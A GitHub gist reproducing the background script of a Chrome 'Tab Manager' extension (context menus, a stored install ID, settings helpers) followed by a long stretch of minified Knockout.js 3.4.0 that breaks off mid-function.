Skip to content

Instantly share code, notes, and snippets.

@retrorocket
Created November 5, 2016 15:44
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save retrorocket/9f308c1cba11ee51ba28a88721ed66ca to your computer and use it in GitHub Desktop.
Save retrorocket/9f308c1cba11ee51ba28a88721ed66ca to your computer and use it in GitHub Desktop.
Tab Manager 4.3.4 background.js knockout.min.js
(function () {
// context menus
(function(){
var m_A = [
{"name" : "EULA", "url" : "/html/doc/eula.html"},
{"name" : "Privacy Policy", "url" : "/html/doc/pp.html"},
{"name" : "Terms and Conditions", "url" : "/html/doc/tandc.html"}
];
for (var i in m_A) {
if (chrome.contextMenus) {
chrome.contextMenus.create({
title: m_A[i].name,
contexts: ["browser_action"],
onclick: function() {
window.open(m_A[i].url, "_blank");
}
});
} else {
console.error("Chrome context menus access failed");
}
}
})();
// storage variables
(function () {
if (chrome.storage) {
chrome.storage.local.get({ID : 0}, function(r){
0 == r.ID && chrome.storage.local.set({ID : new Date().getTime()});
});
} else {
console.error("Chrome storage access failed");
}
})();
})();
function openUI() {
window.open(location.href, "_blank");
}
var settingsDefault = {
isEnabled : false,
};
function getSettings(callback) {
chrome.storage.local.get({settings : settingsDefault}, function(res) {
callback(res.settings);
});
}
function setSettings(settings) {
chrome.storage.local.set({settings: settings}, function () {
console.log("settingsDefault saved");
console.dir(settings);
});
}
!function(){!function(n){var x=this||(0,eval)("this"),u=x.document,M=x.navigator,v=x.jQuery,F=x.JSON;!function(e){"function"==typeof define&&define.amd?define(["exports","require"],e):e("object"==typeof exports&&"object"==typeof module?module.exports||exports:x.ko={})}(function(N,O){function J(e,n){return null===e||typeof e in T?e===n:!1}function U(e,t){var r;return function(){r||(r=a.a.setTimeout(function(){r=n,e()},t))}}function V(e,n){var t;return function(){clearTimeout(t),t=a.a.setTimeout(e,n)}}function W(e,n){n&&n!==I?"beforeChange"===n?this.Kb(e):this.Ha(e,n):this.Lb(e)}function X(e,n){null!==n&&n.k&&n.k()}function Y(e,n){var a=this.Hc,t=a[s];t.R||(this.lb&&this.Ma[n]?(a.Pb(n,e,this.Ma[n]),this.Ma[n]=null,--this.lb):t.r[n]||a.Pb(n,e,t.s?{ia:e}:a.uc(e)))}function K(e,n,t,r){a.d[e]={init:function(e,o,i,u,c){var s,f;return a.m(function(){var i=a.a.c(o()),u=!t!=!i,l=!f;(l||n||u!==s)&&(l&&a.va.Aa()&&(f=a.a.ua(a.f.childNodes(e),!0)),u?(l||a.f.da(e,a.a.ua(f)),a.eb(r?r(c,i):c,e)):a.f.xa(e),s=u)},null,{i:e}),{controlsDescendantBindings:!0}}},a.h.ta[e]=!1,a.f.Z[e]=!0}var a="undefined"!=typeof N?N:{};a.b=function(e,n){for(var t=e.split("."),r=a,o=0;o<t.length-1;o++)r=r[t[o]];r[t[t.length-1]]=n},a.G=function(e,n,a){e[n]=a},a.version="3.4.0",a.b("version",a.version),a.options={deferUpdates:!1,useOnlyNativeEvents:!1},a.a=function(){function e(e,n){for(var a in e)e.hasOwnProperty(a)&&n(a,e[a])}function t(e,n){if(n)for(var a in n)n.hasOwnProperty(a)&&(e[a]=n[a]);return e}function r(e,n){return e.__proto__=n,e}function o(e,n,t,r){var o=e[n].match(p)||[];a.a.q(t.match(p),function(e){a.a.pa(o,e,r)}),e[n]=o.join(" ")}var i={__proto__:[]}instanceof Array,c="function"==typeof Symbol,s={},f={};s[M&&/Firefox\/2/i.test(M.userAgent)?"KeyboardEvent":"UIEvents"]=["keyup","keydown","keypress"],s.MouseEvents="click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave".split(" "),e(s,function(e,n){if(n.length)for(var a=0,t=n.length;t>a;a++)f[n[a]]=e});var l={propertychange:!0},d=u&&function(){for(var e=3,a=u.createElement("div"),t=a.getElementsByTagName("i");a.innerHTML="<!--[if gt IE "+ ++e+"]><i></i><![endif]-->",t[0];);return e>4?e:n}(),p=/\S+/g;return{cc:["authenticity_token",/^__RequestVerificationToken(_.*)?$/],q:function(e,n){for(var a=0,t=e.length;t>a;a++)n(e[a],a)},o:function(e,n){if("function"==typeof Array.prototype.indexOf)return Array.prototype.indexOf.call(e,n);for(var a=0,t=e.length;t>a;a++)if(e[a]===n)return a;return-1},Sb:function(e,n,a){for(var t=0,r=e.length;r>t;t++)if(n.call(a,e[t],t))return e[t];return null},La:function(e,n){var t=a.a.o(e,n);t>0?e.splice(t,1):0===t&&e.shift()},Tb:function(e){e=e||[];for(var n=[],t=0,r=e.length;r>t;t++)0>a.a.o(n,e[t])&&n.push(e[t]);return n},fb:function(e,n){e=e||[];for(var a=[],t=0,r=e.length;r>t;t++)a.push(n(e[t],t));return a},Ka:function(e,n){e=e||[];for(var a=[],t=0,r=e.length;r>t;t++)n(e[t],t)&&a.push(e[t]);return a},ra:function(e,n){if(n instanceof Array)e.push.apply(e,n);else for(var a=0,t=n.length;t>a;a++)e.push(n[a]);return e},pa:function(e,n,t){var r=a.a.o(a.a.zb(e),n);0>r?t&&e.push(n):t||e.splice(r,1)},ka:i,extend:t,Xa:r,Ya:i?r:t,D:e,Ca:function(e,n){if(!e)return e;var a,t={};for(a in e)e.hasOwnProperty(a)&&(t[a]=n(e[a],a,e));return t},ob:function(e){for(;e.firstChild;)a.removeNode(e.firstChild)},jc:function(e){e=a.a.V(e);for(var n=(e[0]&&e[0].ownerDocument||u).createElement("div"),t=0,r=e.length;r>t;t++)n.appendChild(a.$(e[t]));return n},ua:function(e,n){for(var t=0,r=e.length,o=[];r>t;t++){var i=e[t].cloneNode(!0);o.push(n?a.$(i):i)}return o},da:function(e,n){if(a.a.ob(e),n)for(var t=0,r=n.length;r>t;t++)e.appendChild(n[t])},qc:function(e,n){var t=e.nodeType?[e]:e;if(0<t.length){for(var r=t[0],o=r.parentNode,i=0,u=n.length;u>i;i++)o.insertBefore(n[i],r);for(i=0,u=t.length;u>i;i++)a.removeNode(t[i])}},za:function(e,n){if(e.length){for(n=8===n.nodeType&&n.parentNode||n;e.length&&e[0].parentNode!==n;)e.splice(0,1);for(;1<e.length&&e[e.length-1].parentNode!==n;)e.length--;if(1<e.length){var a=e[0],t=e[e.length-1];for(e.length=0;a!==t;)e.push(a),a=a.nextSibling;e.push(t)}}return e},sc:function(e,n){7>d?e.setAttribute("selected",n):e.selected=n},$a:function(e){return null===e||e===n?"":e.trim?e.trim():e.toString().replace(/^[\s\xa0]+|[\s\xa0]+$/g,"")},nd:function(e,n){return e=e||"",n.length>e.length?!1:e.substring(0,n.length)===n},Mc:function(e,n){if(e===n)return!0;if(11===e.nodeType)return!1;if(n.contains)return n.contains(3===e.nodeType?e.parentNode:e);if(n.compareDocumentPosition)return 16==(16&n.compareDocumentPosition(e));for(;e&&e!=n;)e=e.parentNode;return!!e},nb:function(e){return a.a.Mc(e,e.ownerDocument.documentElement)},Qb:function(e){return!!a.a.Sb(e,a.a.nb)},A:function(e){return e&&e.tagName&&e.tagName.toLowerCase()},Wb:function(e){return a.onError?function(){try{return e.apply(this,arguments)}catch(n){throw a.onError&&a.onError(n),n}}:e},setTimeout:function(e,n){return setTimeout(a.a.Wb(e),n)},$b:function(e){setTimeout(function(){throw a.onError&&a.onError(e),e},0)},p:function(e,n,t){var r=a.a.Wb(t);if(t=d&&l[n],a.options.useOnlyNativeEvents||t||!v)if(t||"function"!=typeof e.addEventListener){if("undefined"==typeof e.attachEvent)throw Error("Browser doesn't support addEventListener or attachEvent");var o=function(n){r.call(e,n)},i="on"+n;e.attachEvent(i,o),a.a.F.oa(e,function(){e.detachEvent(i,o)})}else e.addEventListener(n,r,!1);else v(e).bind(n,r)},Da:function(e,n){if(!e||!e.nodeType)throw Error("element must be a DOM node when calling triggerEvent");var t;if("input"===a.a.A(e)&&e.type&&"click"==n.toLowerCase()?(t=e.type,t="checkbox"==t||"radio"==t):t=!1,a.options.useOnlyNativeEvents||!v||t)if("function"==typeof u.createEvent){if("function"!=typeof e.dispatchEvent)throw Error("The supplied element doesn't support dispatchEvent");t=u.createEvent(f[n]||"HTMLEvents"),t.initEvent(n,!0,!0,x,0,0,0,0,0,!1,!1,!1,!1,0,e),e.dispatchEvent(t)}else if(t&&e.click)e.click();else{if("undefined"==typeof e.fireEvent)throw Error("Browser doesn't support triggering events");e.fireEvent("on"+n)}else v(e).trigger(n)},c:function(e){return a.H(e)?e():e},zb:function(e){return a.H(e)?e.t():e},bb:function(e,n,t){var r;n&&("object"==typeof e.classList?(r=e.classList[t?"add":"remove"],a.a.q(n.match(p),function(n){r.call(e.classList,n)})):"string"==typeof e.className.baseVal?o(e.className,"baseVal",n,t):o(e,"className",n,t))},Za:function(e,t){var r=a.a.c(t);(null===r||r===n)&&(r="");var o=a.f.firstChild(e);!o||3!=o.nodeType||a.f.nextSibling(o)?a.f.da(e,[e.ownerDocument.createTextNode(r)]):o.data=r,a.a.Rc(e)},rc:function(e,n){if(e.name=n,7>=d)try{e.mergeAttributes(u.createElement("<input name='"+e.name+"'/>"),!1)}catch(a){}},Rc:function(e){d>=9&&(e=1==e.nodeType?e:e.parentNode,e.style&&(e.style.zoom=e.style.zoom))},Nc:function(e){if(d){var n=e.style.width;e.style.width=0,e.style.width=n}},hd:function(e,n){e=a.a.c(e),n=a.a.c(n);for(var t=[],r=e;n>=r;r++)t.push(r);return t},V:function(e){for(var n=[],a=0,t=e.length;t>a;a++)n.push(e[a]);return n},Yb:function(e){return c?Symbol(e):e},rd:6===d,sd:7===d,C:d,ec:function(e,n){for(var t=a.a.V(e.getElementsByTagName("input")).concat(a.a.V(e.getElementsByTagName("textarea"))),r="string"==typeof n?function(e){return e.name===n}:function(e){return n.test(e.name)},o=[],i=t.length-1;i>=0;i--)r(t[i])&&o.push(t[i]);return o},ed:function(e){return"string"==typeof e&&(e=a.a.$a(e))?F&&F.parse?F.parse(e):new Function("return "+e)():null},Eb:function(e,n,t){if(!F||!F.stringify)throw Error("Cannot find JSON.stringify(). Some browsers (e.g., IE < 8) don't support it natively, but you can overcome this by adding a script reference to json2.js, downloadable from http://www.json.org/json2.js");return F.stringify(a.a.c(e),n,t)},fd:function(n,t,r){r=r||{};var o=r.params||{},i=r.includeFields||this.cc,c=n;if("object"==typeof n&&"form"===a.a.A(n))for(var c=n.action,s=i.length-1;s>=0;s--)for(var f=a.a.ec(n,i[s]),l=f.length-1;l>=0;l--)o[f[l].name]=f[l].value;t=a.a.c(t);var d=u.createElement("form");d.style.display="none",d.action=c,d.method="post";for(var p in t)n=u.createElement("input"),n.type="hidden",n.name=p,n.value=a.a.Eb(a.a.c(t[p])),d.appendChild(n);e(o,function(e,n){var a=u.createElement("input");a.type="hidden",a.name=e,a.value=n,d.appendChild(a)}),u.body.appendChild(d),r.submitter?r.submitter(d):d.submit(),setTimeout(function(){d.parentNode.removeChild(d)},0)}}}(),a.b("utils",a.a),a.b("utils.arrayForEach",a.a.q),a.b("utils.arrayFirst",a.a.Sb),a.b("utils.arrayFilter",a.a.Ka),a.b("utils.arrayGetDistinctValues",a.a.Tb),a.b("utils.arrayIndexOf",a.a.o),a.b("utils.arrayMap",a.a.fb),a.b("utils.arrayPushAll",a.a.ra),a.b("utils.arrayRemoveItem",a.a.La),a.b("utils.extend",a.a.extend),a.b("utils.fieldsIncludedWithJsonPost",a.a.cc),a.b("utils.getFormFields",a.a.ec),a.b("utils.peekObservable",a.a.zb),a.b("utils.postJson",a.a.fd),a.b("utils.parseJson",a.a.ed),a.b("utils.registerEventHandler",a.a.p),a.b("utils.stringifyJson",a.a.Eb),a.b("utils.range",a.a.hd),a.b("utils.toggleDomNodeCssClass",a.a.bb),a.b("utils.triggerEvent",a.a.Da),a.b("utils.unwrapObservable",a.a.c),a.b("utils.objectForEach",a.a.D),a.b("utils.addOrRemoveItem",a.a.pa),a.b("utils.setTextContent",a.a.Za),a.b("unwrap",a.a.c),Function.prototype.bind||(Function.prototype.bind=function(e){var n=this;if(1===arguments.length)return function(){return n.apply(e,arguments)};var a=Array.prototype.slice.call(arguments,1);return function(){var t=a.slice(0);return t.push.apply(t,arguments),n.apply(e,t)}}),a.a.e=new function(){function e(e,o){var i=e[t];if(!i||"null"===i||!r[i]){if(!o)return n;i=e[t]="ko"+a++,r[i]={}}return r[i]}var a=0,t="__ko__"+(new Date).getTime(),r={};return{get:function(a,t){var r=e(a,!1);return r===n?n:r[t]},set:function(a,t,r){(r!==n||e(a,!1)!==n)&&(e(a,!0)[t]=r)},clear:function(e){var n=e[t];return n?(delete r[n],e[t]=null,!0):!1},I:function(){return a++ +t}}},a.b("utils.domData",a.a.e),a.b("utils.domData.clear",a.a.e.clear),a.a.F=new function(){function e(e,t){var o=a.a.e.get(e,r);return o===n&&t&&(o=[],a.a.e.set(e,r,o)),o}function t(n){var r=e(n,!1);if(r)for(var r=r.slice(0),o=0;o<r.length;o++)r[o](n);if(a.a.e.clear(n),a.a.F.cleanExternalData(n),i[n.nodeType])for(r=n.firstChild;n=r;)r=n.nextSibling,8===n.nodeType&&t(n)}var r=a.a.e.I(),o={1:!0,8:!0,9:!0},i={1:!0,9:!0};return{oa:function(n,a){if("function"!=typeof a)throw Error("Callback must be a function");e(n,!0).push(a)},pc:function(t,o){var i=e(t,!1);i&&(a.a.La(i,o),0==i.length&&a.a.e.set(t,r,n))},$:function(e){if(o[e.nodeType]&&(t(e),i[e.nodeType])){var n=[];a.a.ra(n,e.getElementsByTagName("*"));for(var r=0,u=n.length;u>r;r++)t(n[r])}return e},removeNode:function(e){a.$(e),e.parentNode&&e.parentNode.removeChild(e)},cleanExternalData:function(e){v&&"function"==typeof v.cleanData&&v.cleanData([e])}}},a.$=a.a.F.$,a.removeNode=a.a.F.removeNode,a.b("cleanNode",a.$),a.b("removeNode",a.removeNode),a.b("utils.domNodeDisposal",a.a.F),a.b("utils.domNodeDisposal.addDisposeCallback",a.a.F.oa),a.b("utils.domNodeDisposal.removeDisposeCallback",a.a.F.pc),function(){var e=[0,"",""],t=[1,"<table>","</table>"],r=[3,"<table><tbody><tr>","</tr></tbody></table>"],o=[1,"<select multiple='multiple'>","</select>"],i={thead:t,tbody:t,tfoot:t,tr:[2,"<table><tbody>","</tbody></table>"],td:r,th:r,option:o,optgroup:o},c=8>=a.a.C;a.a.ma=function(n,t){var r;if(v){if(v.parseHTML)r=v.parseHTML(n,t)||[];else if((r=v.clean([n],t))&&r[0]){for(var o=r[0];o.parentNode&&11!==o.parentNode.nodeType;)o=o.parentNode;o.parentNode&&o.parentNode.removeChild(o)}}else{(r=t)||(r=u);var s,o=r.parentWindow||r.defaultView||x,f=a.a.$a(n).toLowerCase(),l=r.createElement("div");for(s=(f=f.match(/^<([a-z]+)[ >]/))&&i[f[1]]||e,f=s[0],s="ignored<div>"+s[1]+n+s[2]+"</div>","function"==typeof o.innerShiv?l.appendChild(o.innerShiv(s)):(c&&r.appendChild(l),l.innerHTML=s,c&&l.parentNode.removeChild(l));f--;)l=l.lastChild;r=a.a.V(l.lastChild.childNodes)}return r},a.a.Cb=function(e,t){if(a.a.ob(e),t=a.a.c(t),null!==t&&t!==n)if("string"!=typeof t&&(t=t.toString()),v)v(e).html(t);else for(var r=a.a.ma(t,e.ownerDocument),o=0;o<r.length;o++)e.appendChild(r[o])}}(),a.b("utils.parseHtmlFragment",a.a.ma),a.b("utils.setHtml",a.a.Cb),a.M=function(){function e(n,t){if(n)if(8==n.nodeType){var r=a.M.lc(n.nodeValue);null!=r&&t.push({Lc:n,cd:r})}else if(1==n.nodeType)for(var r=0,o=n.childNodes,i=o.length;i>r;r++)e(o[r],t)}var t={};return{wb:function(e){if("function"!=typeof e)throw Error("You can only pass a function to ko.memoization.memoize()");var n=(4294967296*(1+Math.random())|0).toString(16).substring(1)+(4294967296*(1+Math.random())|0).toString(16).substring(1);return t[n]=e,"<!--[ko_memo:"+n+"]-->"},xc:function(e,a){var r=t[e];if(r===n)throw Error("Couldn't find any memo with ID "+e+". Perhaps it's already been unmemoized.");try{return r.apply(null,a||[]),!0}finally{delete t[e]}},yc:function(n,t){var r=[];e(n,r);for(var o=0,i=r.length;i>o;o++){var u=r[o].Lc,c=[u];t&&a.a.ra(c,t),a.M.xc(r[o].cd,c),u.nodeValue="",u.parentNode&&u.parentNode.removeChild(u)}},lc:function(e){return(e=e.match(/^\[ko_memo\:(.*?)\]$/))?e[1]:null}}}(),a.b("memoization",a.M),a.b("memoization.memoize",a.M.wb),a.b("memoization.unmemoize",a.M.xc),a.b("memoization.parseMemoText",a.M.lc),a.b("memoization.unmemoizeDomNodeAndDescendants",a.M.yc),a.Y=function(){function e(){if(r)for(var e,n=r,o=0;r>i;)if(e=t[i++]){if(i>n){if(5e3<=++o){i=r,a.a.$b(Error("'Too much recursion' after processing "+o+" task groups."));break}n=r}try{e()}catch(u){a.a.$b(u)}}}function n(){e(),i=r=t.length=0}var t=[],r=0,o=1,i=0;return{scheduler:x.MutationObserver?function(e){var n=u.createElement("div");return new MutationObserver(e).observe(n,{attributes:!0}),function(){n.classList.toggle("foo")}}(n):u&&"onreadystatechange"in u.createElement("script")?function(e){var n=u.createElement("script");n.onreadystatechange=function(){n.onreadystatechange=null,u.documentElement.removeChild(n),n=null,e()},u.documentElement.appendChild(n)}:function(e){setTimeout(e,0)},Wa:function(e){return r||a.Y.scheduler(n),t[r++]=e,o++},cancel:function(e){e-=o-r,e>=i&&r>e&&(t[e]=null)},resetForTesting:function(){var e=r-i;return i=r=t.length=0,e},md:e}}(),a.b("tasks",a.Y),a.b("tasks.schedule",a.Y.Wa),a.b("tasks.runEarly",a.Y.md),a.ya={throttle:function(e,n){e.throttleEvaluation=n;var t=null;return a.B({read:e,write:function(r){clearTimeout(t),t=a.a.setTimeout(function(){e(r)},n)}})},rateLimit:function(e,n){var a,t,r;"number"==typeof n?a=n:(a=n.timeout,t=n.method),e.cb=!1,r="notifyWhenChangesStop"==t?V:U,e.Ta(function(e){return r(e,a)})},deferred:function(e,t){if(!0!==t)throw Error("The 'deferred' extender only accepts the value 'true', because it is not supported to turn deferral off once enabled.");e.cb||(e.cb=!0,e.Ta(function(t){var r;return function(){a.Y.cancel(r),r=a.Y.Wa(t),e.notifySubscribers(n,"dirty")}}))},notify:function(e,n){e.equalityComparer="always"==n?null:J}};var T={undefined:1,"boolean":1,number:1,string:1};a.b("extenders",a.ya),a.vc=function(e,n,t){this.ia=e,this.gb=n,this.Kc=t,this.R=!1,a.G(this,"dispose",this.k)},a.vc.prototype.k=function(){this.R=!0,this.Kc()},a.J=function(){a.a.Ya(this,D),D.rb(this)};var I="change",D={rb:function(e){e.K={},e.Nb=1},X:function(e,n,t){var r=this;t=t||I;var o=new a.vc(r,n?e.bind(n):e,function(){a.a.La(r.K[t],o),r.Ia&&r.Ia(t)});return r.sa&&r.sa(t),r.K[t]||(r.K[t]=[]),r.K[t].push(o),o},notifySubscribers:function(e,n){if(n=n||I,n===I&&this.zc(),this.Pa(n))try{a.l.Ub();for(var t,r=this.K[n].slice(0),o=0;t=r[o];++o)t.R||t.gb(e)}finally{a.l.end()}},Na:function(){return this.Nb},Uc:function(e){return this.Na()!==e},zc:function(){++this.Nb},Ta:function(e){var n,t,r,o=this,i=a.H(o);o.Ha||(o.Ha=o.notifySubscribers,o.notifySubscribers=W);var u=e(function(){o.Mb=!1,i&&r===o&&(r=o()),n=!1,o.tb(t,r)&&o.Ha(t=r)});o.Lb=function(e){o.Mb=n=!0,r=e,u()},o.Kb=function(e){n||(t=e,o.Ha(e,"beforeChange"))}},Pa:function(e){return this.K[e]&&this.K[e].length},Sc:function(e){if(e)return this.K[e]&&this.K[e].length||0;var n=0;return a.a.D(this.K,function(e,a){"dirty"!==e&&(n+=a.length)}),n},tb:function(e,n){return!this.equalityComparer||!this.equalityComparer(e,n)},extend:function(e){var n=this;return e&&a.a.D(e,function(e,t){var r=a.ya[e];"function"==typeof r&&(n=r(n,t)||n)}),n}};a.G(D,"subscribe",D.X),a.G(D,"extend",D.extend),a.G(D,"getSubscriptionsCount",D.Sc),a.a.ka&&a.a.Xa(D,Function.prototype),a.J.fn=D,a.hc=function(e){return null!=e&&"function"==typeof e.X&&"function"==typeof e.notifySubscribers},a.b("subscribable",a.J),a.b("isSubscribable",a.hc),a.va=a.l=function(){function e(e){r.push(t),t=e}function n(){t=r.pop()}var t,r=[],o=0;return{Ub:e,end:n,oc:function(e){if(t){if(!a.hc(e))throw Error("Only subscribable things can act as dependencies");t.gb.call(t.Gc,e,e.Cc||(e.Cc=++o))}},w:function(a,t,r){try{return e(),a.apply(t,r||[])}finally{n()}},Aa:function(){return t?t.m.Aa():void 0},Sa:function(){return t?t.Sa:void 0}}}(),a.b("computedContext",a.va),a.b("computedContext.getDependenciesCount",a.va.Aa),a.b("computedContext.isInitial",a.va.Sa),a.b("ignoreDependencies",a.qd=a.l.w);var E=a.a.Yb("_latestValue");a.N=function(e){function n(){return 0<arguments.length?(n.tb(n[E],arguments[0])&&(n.ga(),n[E]=arguments[0],n.fa()),this):(a.l.oc(n),n[E])}return n[E]=e,a.a.ka||a.a.extend(n,a.J.fn),a.J.fn.rb(n),a.a.Ya(n,B),a.options.deferUpdates&&a.ya.deferred(n,!0),n};var B={equalityComparer:J,t:function(){return this[E]},fa:function(){this.notifySubscribers(this[E])},ga:function(){this.notifySubscribers(this[E],"beforeChange")}};a.a.ka&&a.a.Xa(B,a.J.fn);var H=a.N.gd="__ko_proto__";B[H]=a.N,a.Oa=function(e,t){return null===e||e===n||e[H]===n?!1:e[H]===t?!0:a.Oa(e[H],t)},a.H=function(e){return a.Oa(e,a.N)},a.Ba=function(e){return"function"==typeof e&&e[H]===a.N||"function"==typeof e&&e[H]===a.B&&e.Vc?!0:!1},a.b("observable",a.N),a.b("isObservable",a.H),a.b("isWriteableObservable",a.Ba),a.b("isWritableObservable",a.Ba),a.b("observable.fn",B),a.G(B,"peek",B.t),a.G(B,"valueHasMutated",B.fa),a.G(B,"valueWillMutate",B.ga),a.la=function(e){if(e=e||[],"object"!=typeof e||!("length"in e))throw Error("The argument passed when initializing an observable array must be an array, or null, or undefined.");return e=a.N(e),a.a.Ya(e,a.la.fn),e.extend({trackArrayChanges:!0})},a.la.fn={remove:function(e){for(var n=this.t(),t=[],r="function"!=typeof e||a.H(e)?function(n){return n===e}:e,o=0;o<n.length;o++){var i=n[o];r(i)&&(0===t.length&&this.ga(),t.push(i),n.splice(o,1),o--)}return t.length&&this.fa(),t},removeAll:function(e){if(e===n){var t=this.t(),r=t.slice(0);return this.ga(),t.splice(0,t.length),this.fa(),r}return e?this.remove(function(n){return 0<=a.a.o(e,n)}):[]},destroy:function(e){var n=this.t(),t="function"!=typeof e||a.H(e)?function(n){return n===e}:e;this.ga();for(var r=n.length-1;r>=0;r--)t(n[r])&&(n[r]._destroy=!0);this.fa()},destroyAll:function(e){return e===n?this.destroy(function(){return!0}):e?this.destroy(function(n){return 0<=a.a.o(e,n)}):[]},indexOf:function(e){var n=this();return a.a.o(n,e)},replace:function(e,n){var a=this.indexOf(e);a>=0&&(this.ga(),this.t()[a]=n,this.fa())}},a.a.ka&&a.a.Xa(a.la.fn,a.N.fn),a.a.q("pop push reverse shift sort splice unshift".split(" "),function(e){a.la.fn[e]=function(){var n=this.t();this.ga(),this.Vb(n,e,arguments);var a=n[e].apply(n,arguments);return this.fa(),a===n?this:a}}),a.a.q(["slice"],function(e){a.la.fn[e]=function(){var n=this();return n[e].apply(n,arguments)}}),a.b("observableArray",a.la),a.ya.trackArrayChanges=function(e,n){function t(){if(!o){o=!0;var n=e.notifySubscribers;e.notifySubscribers=function(e,a){return a&&a!==I||++u,n.apply(this,arguments)};var t=[].concat(e.t()||[]);i=null,r=e.X(function(n){if(n=[].concat(n||[]),e.Pa("arrayChange")){var r;(!i||u>1)&&(i=a.a.ib(t,n,e.hb)),r=i}t=n,i=null,u=0,r&&r.length&&e.notifySubscribers(r,"arrayChange")})}}if(e.hb={},n&&"object"==typeof n&&a.a.extend(e.hb,n),e.hb.sparse=!0,!e.Vb){var r,o=!1,i=null,u=0,c=e.sa,s=e.Ia;e.sa=function(n){c&&c.call(e,n),"arrayChange"===n&&t()},e.Ia=function(n){s&&s.call(e,n),"arrayChange"!==n||e.Pa("arrayChange")||(r.k(),o=!1)},e.Vb=function(e,n,t){function r(e,n,a){return c[c.length]={status:e,value:n,index:a}}if(o&&!u){var c=[],s=e.length,f=t.length,l=0;switch(n){case"push":l=s;case"unshift":for(n=0;f>n;n++)r("added",t[n],l+n);break;case"pop":l=s-1;case"shift":s&&r("deleted",e[l],l);break;case"splice":n=Math.min(Math.max(0,0>t[0]?s+t[0]:t[0]),s);for(var s=1===f?s:Math.min(n+(t[1]||0),s),f=n+f-2,l=Math.max(s,f),d=[],p=[],h=2;l>n;++n,++h)s>n&&p.push(r("deleted",e[n],n)),f>n&&d.push(r("added",t[h],n));a.a.dc(p,d);break;default:return}i=c}}}};var s=a.a.Yb("_state");a.m=a.B=function(e,t,r){function o(){if(0<arguments.length){if("function"!=typeof i)throw Error("Cannot write a value to a ko.computed unless you specify a 'write' option. If you wish to read the current value, don't pass any parameters.");return i.apply(u.pb,arguments),this}return a.l.oc(o),(u.S||u.s&&o.Qa())&&o.aa(),u.T}if("object"==typeof e?r=e:(r=r||{},e&&(r.read=e)),"function"!=typeof r.read)throw Error("Pass a function that returns the value of the ko.computed");var i=r.write,u={T:n,S:!0,Ra:!1,Fb:!1,R:!1,Va:!1,s:!1,jd:r.read,pb:t||r.owner,i:r.disposeWhenNodeIsRemoved||r.i||null,wa:r.disposeWhen||r.wa,mb:null,r:{},L:0,bc:null};return o[s]=u,o.Vc="function"==typeof i,a.a.ka||a.a.extend(o,a.J.fn),a.J.fn.rb(o),a.a.Ya(o,z),r.pure?(u.Va=!0,u.s=!0,a.a.extend(o,$)):r.deferEvaluation&&a.a.extend(o,aa),a.options.deferUpdates&&a.ya.deferred(o,!0),u.i&&(u.Fb=!0,u.i.nodeType||(u.i=null)),u.s||r.deferEvaluation||o.aa(),u.i&&o.ba()&&a.a.F.oa(u.i,u.mb=function(){o.k()}),o};var z={equalityComparer:J,Aa:function(){return this[s].L},Pb:function(e,n,a){if(this[s].Va&&n===this)throw Error("A 'pure' computed must not be called recursively");this[s].r[e]=a,a.Ga=this[s].L++,a.na=n.Na()},Qa:function(){var e,n,a=this[s].r;for(e in a)if(a.hasOwnProperty(e)&&(n=a[e],n.ia.Uc(n.na)))return!0},bd:function(){this.Fa&&!this[s].Ra&&this.Fa()},ba:function(){return this[s].S||0<this[s].L},ld:function(){this.Mb||this.ac()},uc:function(e){if(e.cb&&!this[s].i){var n=e.X(this.bd,this,"dirty"),a=e.X(this.ld,this);return{ia:e,k:function(){n.k(),a.k()}}}return e.X(this.ac,this)},ac:function(){var e=this,n=e.throttleEvaluation;n&&n>=0?(clearTimeout(this[s].bc),this[s].bc=a.a.setTimeout(function(){e.aa(!0)},n)):e.Fa?e.Fa():e.aa(!0)},aa:function(e){var n=this[s],t=n.wa;if(!n.Ra&&!n.R){if(n.i&&!a.a.nb(n.i)||t&&t()){if(!n.Fb)return void this.k()}else n.Fb=!1;n.Ra=!0;try{this.Qc(e)}finally{n.Ra=!1}n.L||this.k()}},Qc:function(e){var t=this[s],r=t.Va?n:!t.L,o={Hc:this,Ma:t.r,lb:t.L};a.l.Ub({Gc:o,gb:Y,m:this,Sa:r}),t.r={},t.L=0,o=this.Pc(t,o),this.tb(t.T,o)&&(t.s||this.notifySubscribers(t.T,"beforeChange"),t.T=o,t.s?this.zc():e&&this.notifySubscribers(t.T)),r&&this.notifySubscribers(t.T,"awake")},Pc:function(e,n){try{var t=e.jd;return e.pb?t.call(e.pb):t()}finally{a.l.end(),n.lb&&!e.s&&a.a.D(n.Ma,X),e.S=!1}},t:function(){var e=this[s];return(e.S&&!e.L||e.s&&this.Qa())&&this.aa(),e.T},Ta:function(e){a.J.fn.Ta.call(this,e),this.Fa=function(){this.Kb(this[s].T),this[s].S=!0,this.Lb(this)}},k:function(){var e=this[s];!e.s&&e.r&&a.a.D(e.r,function(e,n){n.k&&n.k()}),e.i&&e.mb&&a.a.F.pc(e.i,e.mb),e.r=null,e.L=0,e.R=!0,e.S=!1,e.s=!1,e.i=null}},$={sa:function(e){var n=this,t=n[s];if(!t.R&&t.s&&"change"==e){if(t.s=!1,t.S||n.Qa())t.r=null,t.L=0,t.S=!0,n.aa();else{var r=[];a.a.D(t.r,function(e,n){r[n.Ga]=e}),a.a.q(r,function(e,a){var r=t.r[e],o=n.uc(r.ia);o.Ga=a,o.na=r.na,t.r[e]=o})}t.R||n.notifySubscribers(t.T,"awake")}},Ia:function(e){var t=this[s];t.R||"change"!=e||this.Pa("change")||(a.a.D(t.r,function(e,n){n.k&&(t.r[e]={ia:n.ia,Ga:n.Ga,na:n.na},n.k())}),t.s=!0,this.notifySubscribers(n,"asleep"))},Na:function(){var e=this[s];return e.s&&(e.S||this.Qa())&&this.aa(),a.J.fn.Na.call(this)}},aa={sa:function(e){"change"!=e&&"beforeChange"!=e||this.t()}};a.a.ka&&a.a.Xa(z,a.J.fn);var R=a.N.gd;a.m[R]=a.N,z[R]=a.m,a.Xc=function(e){return a.Oa(e,a.m)},a.Yc=function(e){return a.Oa(e,a.m)&&e[s]&&e[s].Va},a.b("computed",a.m),a.b("dependentObservable",a.m),a.b("isComputed",a.Xc),a.b("isPureComputed",a.Yc),a.b("computed.fn",z),a.G(z,"peek",z.t),a.G(z,"dispose",z.k),a.G(z,"isActive",z.ba),a.G(z,"getDependenciesCount",z.Aa),a.nc=function(e,n){return"function"==typeof e?a.m(e,n,{pure:!0}):(e=a.a.extend({},e),e.pure=!0,a.m(e,n))},a.b("pureComputed",a.nc),function(){function 